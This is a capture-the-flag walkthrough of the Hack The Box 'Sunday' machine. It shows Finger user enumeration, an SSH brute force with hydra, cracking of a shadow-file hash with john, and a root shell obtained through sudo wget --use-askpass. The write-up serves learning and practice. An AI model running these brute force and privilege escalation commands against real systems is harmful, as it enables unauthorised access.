

Sunday walkthrough

Index

| | |
|----------------------------|---|
| Index | 1 |
| List of pictures | 1 |
| Disclaimer | 2 |
| Reconnaissance | 2 |
| Initial foothold | 3 |
| User flag..... | 3 |
| Privilege escalation | 6 |
| Personal comments | 7 |

List of pictures

| | |
|--|---|
| Figure 1 - nMap scan results (part 1)..... | 2 |
| Figure 2 - nMap scan results (part 2)..... | 2 |
| Figure 3 - Finger user enumeration | 3 |
| Figure 4 - Credentials found | 4 |
| Figure 5 - SSH connction as sunny user | 4 |
| Figure 6 - Shadow backup file found | 5 |
| Figure 7 – Successful cracking | 5 |
| Figure 8 - User flag..... | 6 |
| Figure 9 - Useful information to escalate privileges | 6 |
| Figure 10 - Privilege escalation and root flag | 6 |

Disclaimer

I do this box to learn things and challenge myself. I'm not a kind of penetration tester guru who always knows where to look for the right answer. Use it as a guide or support. Remember that it is always better to try it by yourself. All data and information provided on my walkthrough are for informational and educational purpose only. The tutorial and demo provided here is only for those who are willing and curious to know and learn about Ethical Hacking, Security and Penetration Testing.

Just to say: I am not an English native person, so sorry if I did some grammatical and syntax mistakes.

Reconnaissance

The results of an initial nMap scan are the following:

[illegible]

Figure 1 - nMap scan results (part 1)

[illegible]

Figure 2 - nMap scan results (part 2)

Open ports are 79, 111, 515, 6787, 22022. It seems a Finger service is running on port 79. In addition, an RPCBind (111), Printer (515) and SSH (22022) services are enabled. Also, a web application is running on port 6787. I already noted that SSH service is running on a non-standard port. Finally, nMap provide Linux as operative system.

Initial foothold

As I usually do, I started to find some clues browsing the web application. In this case I find a page which requires a username, so I thought that probably it is a login page. Since I didn't find anything useful from the web application, I was curious about the Finger service. I found out from the Internet that this service is useful to find information about accounts on a machine. So, I found a script to enumerate users on the machine via Finger service. I downloaded a usernames list too. At this point, I run the script:

```
(k14d1u5@k14d1u5-kali)~[~/Desktop]
$ ./finger-user-enum.pl -U ./usernames.txt -t 10.10.10.76
Starting finger-user-enum v1.0 ( http://pentestmonkey.net/tools/finger-user-enum )
```

| Scan Information | |
|------------------|-----------------|
| Worker Processes | 5 |
| Usernames file | ./usernames.txt |
| Target count | 1 |
| Username count | 81475 |
| Target TCP port | 79 |
| Query timeout | 5 secs |
| Relay Server | Not used |

```
##### Scan started at Fri Nov 1 05:12:11 2024 #####
access@10.10.10.76: access No Access User
ai@10.10.10.76: aiuser AI User
anonymous@10.10.10.76: Login Name TTY Idle When Where..nobody NFS Anonymous Acce
bin@10.10.10.76: bin ???
configuration@10.10.10.76: Login Name TTY Idle When Where..netcfg Network Config
daemon@10.10.10.76: daemon ???
ike@10.10.10.76: ikeuser IKE Admin
lp@10.10.10.76: lp Line Printer Admin
message@10.10.10.76: Login Name TTY Idle When Where..smmsp SendMail Message Sub
network@10.10.10.76: Login Name TTY Idle When Where..netadm Network Admin
no@10.10.10.76: noaccess No Access User
nobody@10.10.10.76: nobody NFS Anonymous Access
printer@10.10.10.76: Login Name TTY Idle When Where..lp Line Printer Admin
program@10.10.10.76: Login Name TTY Idle When Where..smmsp SendMail Message Sub
remote@10.10.10.76: Login Name TTY Idle When Where..unknown Unknown Remote UID
reserved@10.10.10.76: Login Name TTY Idle When Where..ftp FTPD Reserved UID
root@10.10.10.76: root Super-User ssh <Dec 7, 2023> 10.10.14.46 ..
sammy@10.10.10.76: sammy ??? ssh <Apr 13, 2022> 10.10.14.13 ..
server@10.10.10.76: server UID
submission@10.10.10.76: Login Name TTY Idle When Where..smmsp SendMail Message
sunny@10.10.10.76: sunny ??? ssh <Apr 13, 2022> 10.10.14.13 ..
unknown@10.10.10.76: unknown Unknown Remote UID
user@10.10.10.76: user AI User
##### Scan completed at Fri Nov 1 05:38:42 2024 #####
23 results.

81475 queries in 1591 seconds (51.2 queries / sec)
```

Figure 3 - Finger user enumeration

It was very interesting because I found two users: *sammy* and *sunny*.

User flag

Well, I have some usernames and the SSH service enabled. So, I tried to run a brute force attack against the SSH service running hydra tool:

```

[ATTEMPT] target 10.10.10.76 - login "sunny" - pass "mylove1" - 2350 of 14344401 [child 5] (0/2)
[ATTEMPT] target 10.10.10.76 - login "sunny" - pass "lopez" - 2351 of 14344401 [child 6] (0/2)
[ATTEMPT] target 10.10.10.76 - login "sunny" - pass "josue" - 2352 of 14344401 [child 5] (0/2)
[ATTEMPT] target 10.10.10.76 - login "sunny" - pass "BABYGIRL" - 2353 of 14344401 [child 6] (0/2)
[ATTEMPT] target 10.10.10.76 - login "sunny" - pass "sexyboy" - 2354 of 14344401 [child 5] (0/2)
[ATTEMPT] target 10.10.10.76 - login "sunny" - pass "makaveli" - 2355 of 14344401 [child 6] (0/2)
[ATTEMPT] target 10.10.10.76 - login "sunny" - pass "ilovejoe" - 2356 of 14344401 [child 6] (0/2)
[ATTEMPT] target 10.10.10.76 - login "sunny" - pass "marcia" - 2357 of 14344401 [child 12] (0/2)
[ATTEMPT] target 10.10.10.76 - login "sunny" - pass "007007" - 2358 of 14344401 [child 12] (0/2)
[ATTEMPT] target 10.10.10.76 - login "sunny" - pass "southpark" - 2359 of 14344401 [child 15] (0/2)
[ATTEMPT] target 10.10.10.76 - login "sunny" - pass "sherwin" - 2360 of 14344401 [child 10] (0/2)
[ATTEMPT] target 10.10.10.76 - login "sunny" - pass "lestat" - 2361 of 14344401 [child 12] (0/2)
[ATTEMPT] target 10.10.10.76 - login "sunny" - pass "desire" - 2362 of 14344401 [child 15] (0/2)
[ATTEMPT] target 10.10.10.76 - login "sunny" - pass "445566" - 2363 of 14344401 [child 10] (0/2)
[ATTEMPT] target 10.10.10.76 - login "sunny" - pass "pencil" - 2364 of 14344401 [child 12] (0/2)
[ATTEMPT] target 10.10.10.76 - login "sunny" - pass "denden" - 2365 of 14344401 [child 15] (0/2)
[ATTEMPT] target 10.10.10.76 - login "sunny" - pass "scooter1" - 2366 of 14344401 [child 10] (0/2)
[ATTEMPT] target 10.10.10.76 - login "sunny" - pass "brazil" - 2367 of 14344401 [child 12] (0/2)
[ATTEMPT] target 10.10.10.76 - login "sunny" - pass "boobies" - 2368 of 14344401 [child 15] (0/2)
[ATTEMPT] target 10.10.10.76 - login "sunny" - pass "yankees1" - 2369 of 14344401 [child 10] (0/2)
[ATTEMPT] target 10.10.10.76 - login "sunny" - pass "scarlet" - 2370 of 14344401 [child 15] (0/2)
[ATTEMPT] target 10.10.10.76 - login "sunny" - pass "powers" - 2371 of 14344401 [child 10] (0/2)
[ATTEMPT] target 10.10.10.76 - login "sunny" - pass "killua" - 2372 of 14344401 [child 0] (0/2)
[ATTEMPT] target 10.10.10.76 - login "sunny" - pass "leandro" - 2373 of 14344401 [child 0] (0/2)
[ATTEMPT] target 10.10.10.76 - login "sunny" - pass "burbuja" - 2374 of 14344401 [child 2] (0/2)
[ATTEMPT] target 10.10.10.76 - login "sunny" - pass "bonjour" - 2375 of 14344401 [child 0] (0/2)
[ATTEMPT] target 10.10.10.76 - login "sunny" - pass "armani" - 2376 of 14344401 [child 2] (0/2)
[ATTEMPT] target 10.10.10.76 - login "sunny" - pass "poop" - 2377 of 14344401 [child 0] (0/2)
[ATTEMPT] target 10.10.10.76 - login "sunny" - pass "nadia" - 2378 of 14344401 [child 2] (0/2)
[ATTEMPT] target 10.10.10.76 - login "sunny" - pass "michigan" - 2379 of 14344401 [child 0] (0/2)
[ATTEMPT] target 10.10.10.76 - login "sunny" - pass "astrid" - 2380 of 14344401 [child 2] (0/2)
[ATTEMPT] target 10.10.10.76 - login "sunny" - pass "billybob" - 2381 of 14344401 [child 2] (0/2)
[ATTEMPT] target 10.10.10.76 - login "sunny" - pass "theman" - 2382 of 14344401 [child 9] (0/2)
[ATTEMPT] target 10.10.10.76 - login "sunny" - pass "sunday" - 2383 of 14344401 [child 9] (0/2)
[22022][ssh] host: 10.10.10.76 login: sunny password: s[REDACTED]
[STATUS] attack finished for 10.10.10.76 (valid pair found)
1 of 1 target successfully completed, 1 valid password found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2024-11-01 07:38:50

```

Figure 4 - Credentials found

I was lucky! I found the *sunny*'s password. In fact, when I tried to log in via SSH with this user, I had success:

```

(k14d1u5@k14d1u5-kali) - [~/Desktop]
$ ssh sunny@10.10.10.76 -p 22022
(sunny@10.10.10.76) Password:
Last login: Wed Apr 13 15:35:50 2022 from 10.10.14.13
Oracle Solaris 11.4.42.111.0 Assembled December 2021
sunny@sunday:~$

```

Figure 5 - SSH connection as sunny user

The first thing I did was to search the flag, but, unfortunately, this user didn't have. What I saw as *sunny* user was very minimal. I had very few resources which I can work on. So, I tried to check his history:

```

sunny@sunday:~$ cat .bash_history
su -
su -
cat /etc/resolv.conf
su -
ps auxwww|grep overwrite
su -
sudo -l
sudo /root/troll
ls /backup
ls -l /backup
cat /backup/shadow.backup
sudo /root/troll
sudo /root/troll
su -
sudo -l
sudo /root/troll
ps auxwww
ps auxwww
ps auxwww
top
top
top
top
ps auxwww|grep overwrite
su -
su -
cat /etc/resolv.conf
ps auxwww|grep over
sudo -l
sudo /root/troll
sudo /root/troll
sudo /root/troll
sudo /root/troll
exit
sunny@sunday:~$ cat /backup/shadow.backup
mysql:NP:::
openldap:*LK*:::
websrvd:*LK*:::
postgres:NP:::
svctag:*LK*:6445:::
nobody:*LK*:6445:::
noaccess:*LK*:6445:::
nobody4:*LK*:6445:::
sammy:$5$
sunny:$5$1KMDpnBV$zn/s6D/ColnogCd1VE5fLZ9VCZUMKUFxKlRhnaShxvJ:1/636:::
sunny@sunday:~$

```

Figure 6 - Shadow backup file found

Luckily, this user read a shadow backup file and I found the *sammy*'s hash password. At this point, I just tried to crack this hash, as shown in the following picture:

```

(k14d1u5@k14d1u5-kali) [~/Desktop]
$ cat pswSammy.txt
sammy:$5$

(k14d1u5@k14d1u5-kali) [~/Desktop]
$ unshadow passwdSunday.txt pswSammy.txt > sammy.john

(k14d1u5@k14d1u5-kali) [~/Desktop]
$ cat sammy.john
root:x:0:0:Super-User:/root:/usr/bin/bash
daemon:x:1:1:/:/bin/sh
bin:x:2:2:/:/bin/sh
sys:x:3:3:/:/bin/sh
adm:x:4:4:Admin:/var/adm:/bin/sh
dldm:x:15:65:Datalink Admin:/:
netadm:x:16:65:Network Admin:/:
netcfg:x:17:65:Network Configuration Admin:/:
dhcpcserv:x:18:65:DHCP Configuration Admin:/:
ftp:x:21:21:FTPD Reserved UID:/:
sshd:x:22:22:sshd privsep:/var/empty:/bin/false
smmsp:x:25:25:SendMail Message Submission Program:/:
aiuser:x:61:61:AI User:/:
ikeuser:x:67:12:IKE Admin:/:
lp:x:71:8:Line Printer Admin:/:/bin/sh
openldap:x:75:75:OpenLDAP User:/:/usr/bin/pfbash
websrvd:x:80:80:WebServer Reserved UID:/:/bin/sh
unknown:x:96:96:Unknown Remote UID:/:/bin/sh
pkg5srv:x:97:97:pkg(7) server UID:/:
nobody:x:60001:60001:NFS Anonymous Access User:/:/bin/sh
noaccess:x:60002:65534:No Access User:/:/bin/sh
nobody4:x:65534:65534:SunOS 4.x NFS Anonymous Access User:/:/bin/sh
sammy:$5$1KMDpnBV$zn/s6D/ColnogCd1VE5fLZ9VCZUMKUFxKlRhnaShxvJ:1/636:::
sunny:$5$101:10::/home/sunny:/usr/bin/bash
_ntp:x:73:73:NTP Daemon:/var/ntp:

(k14d1u5@k14d1u5-kali) [~/Desktop]
$ john sammy.john --wordlist=fullPassList.txt
Using default input encoding: UTF-8
Loaded 1 password hash (sha256crypt, crypt(3) $5$ [SHA256 256/256 AVX2 8x])
Cost 1 (iteration count) is 5000 for all loaded hashes
Will run 4 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
0g 0:00:02:17 9.52% (ETA: 08:41:23) 0g/s 9506p/s 9506c/s 9506C/s 150590g..150972lilia
0g 0:00:05:42 19.81% (ETA: 08:46:10) 0g/s 8491p/s 8491c/s 8491C/s 7580574a..75973
0g 0:00:09:13 27.69% (ETA: 08:50:41) 0g/s 7346p/s 7346c/s 7346C/s MECAESVERGA..MELISUSANYO
0g 0:00:12:12 34.43% (ETA: 08:52:49) 0g/s 6872p/s 6872c/s 6872C/s antman08..antonio5a
0g 0:00:12:36 35.39% (ETA: 08:53:00) 0g/s 6837p/s 6837c/s 6837C/s asyikin1108..atapan13
0g 0:00:12:37 35.43% (ETA: 08:53:00) 0g/s 6834p/s 6834c/s 6834C/s athleticsstars..atkast1757
(c) (sammy)

```

Figure 7 – Successful cracking

All I needed to do was connecting via SSH as *sammy* and retrieve the user flag:

```
(k14d1u5@k14d1u5-kali)-[~/Desktop]
$ ssh sammy@10.10.10.76 -p 22022
(sammy@10.10.10.76) Password:
Last login: Wed Apr 13 15:38:02 2022 from 10.10.14.13
Oracle Solaris 11.4.42.111.0 Assembled December 2021
-bash-5.1$ id
uid=100(sammy) gid=10(staff)
-bash-5.1$ pwd
/home/sammy
-bash-5.1$ cat user.txt
4 7
-bash-5.1$
```

Figure 8 - User flag

Privilege escalation

The first check I always do when I have to escalate my privileges on a Linux machine is checking the sudoers. I was lucky, because this user was able to run as root without providing the password the *wget* tool:

```
(k14d1u5@k14d1u5-kali)-[~/Desktop]
$ ssh sammy@10.10.10.76 -p 22022
(sammy@10.10.10.76) Password:
Last login: Wed Apr 13 15:38:02 2022 from 10.10.14.13
Oracle Solaris 11.4.42.111.0 Assembled December 2021
-bash-5.1$ id
uid=100(sammy) gid=10(staff)
-bash-5.1$ pwd
/home/sammy
-bash-5.1$ cat user.txt
4 7
-bash-5.1$ sudo -l
User sammy may run the following commands on sunday:
(All) All
(root) NOPASSWD: /usr/bin/wget
-bash-5.1$
```

Figure 9 - Useful information to escalate privileges

So, I checked if an exploit exists on GTFObins web site, I run it and I retrieved the root flag:

```
-bash-5.1$ TF=$(mktemp)
-bash-5.1$ env
SHELL=/usr/bin/bash
LC_MONETARY=
PWD=/home/sammy
LOGNAME=sammy
HOME=/home/sammy
LANG=C.UTF-8
SSH_CONNECTION=10.10.14.14 39508 10.10.10.76 22022
TERM=xterm-256color
USER=sammy
SHLVL=1
LC_MESSAGES=
LC_CTYPE=
SSH_CLIENT=10.10.14.14 39508 22022
LC_TIME=
LC_ALL=
LC_COLLATE=
PATH=/usr/bin:/bin:/usr/sbin:/sbin
SSH_TTY=/dev/pts/2
LC_NUMERIC=
_=/usr/bin/env
-bash-5.1$ echo TF
TF
-bash-5.1$ echo $TF
/tmp/tmp.LT1PQb
-bash-5.1$ chmod +x $TF
-bash-5.1$ echo -e '#!/bin/sh\n/bin/sh 1>&0' >$TF
-bash-5.1$ wget --use-askpass=$TF 0
sammy@sunday:~$ exit
Error reading response from command "/tmp/tmp.LT1PQb Username for 'http://0': ": Error 0
-bash-5.1$ sudo wget --use-askpass=$TF 0
root@sunday:/home/sammy# id
uid=0(root) gid=0(root)
root@sunday:/home/sammy# cat /root/root.txt
d 1
root@sunday:/home/sammy#
```

Figure 10 - Privilege escalation and root flag

Personal comments

This box was funny for me. I learnt about the Finger service and I liked I leveraged it to retrieve users' list. Also, I liked I found some interesting information inside an history file and a shadow backup file. In my opinion, was a good box. However, it was easy to exploit and I rated in this way on the Hack The Box platform.